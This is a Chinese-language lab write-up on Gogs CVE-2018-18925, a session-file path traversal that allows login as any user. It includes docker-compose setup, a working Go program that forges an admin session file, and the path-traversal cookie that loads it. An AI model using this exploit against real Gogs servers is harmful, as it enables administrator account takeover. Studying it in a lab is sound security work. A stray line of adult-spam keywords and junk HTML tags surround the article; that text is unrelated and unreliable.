<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Gogs 任意用戶登錄漏洞(CVE-2018-18925)

    Path gogs/CVE-2018-18925

    gogs是一款極易搭建的自助Git服務平臺,具有易安裝、跨平臺、輕量級等特點,使用者眾多。

    其0.11.66及以前版本中,(go-macaron/session庫)沒有對sessionid進行校驗,攻擊者利用惡意sessionid即可讀取任意文件,通過控制文件內容來控制session內容,進而登錄任意賬戶。

    參考鏈接:

    環境啟動

    執行如下命令啟動gogs:

    docker-compose up -d

    環境啟動后,訪問http://your-ip:3000,即可看到安裝頁面。安裝時選擇sqlite數據庫,并開啟注冊功能。

    安裝完成后,需要重啟服務:docker-compose restart,否則session是存儲在內存中的。

    漏洞利用

    使用Gob序列化生成session文件:

    package main
    
    import (
        "bytes"
        "encoding/gob"
        "encoding/hex"
        "fmt"
        "io/ioutil"
        "os"
    )
    
    func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
        for _, v := range obj {
            gob.Register(v)
        }
        buf := bytes.NewBuffer(nil)
        err := gob.NewEncoder(buf).Encode(obj)
        return buf.Bytes(), err
    }
    
    func main() {
        var uid int64 = 1
        obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
        data, err := EncodeGob(obj)
        if err != nil {
            fmt.Println(err)
        }
        err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
        if err != nil {
            fmt.Println(err)
        }
        edata := hex.EncodeToString(data)
        fmt.Println(edata)
    }

    然后注冊一個普通用戶賬戶,創建項目,并在“版本發布”頁面上傳剛生成的session文件:

    通過這個附件的URL,得知這個文件的文件名:./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10

    然后,構造Cookie:i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10,訪問即可發現已經成功登錄id=1的用戶(即管理員):

    完整的利用過程與原理,可以閱讀參考鏈接中的文章。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类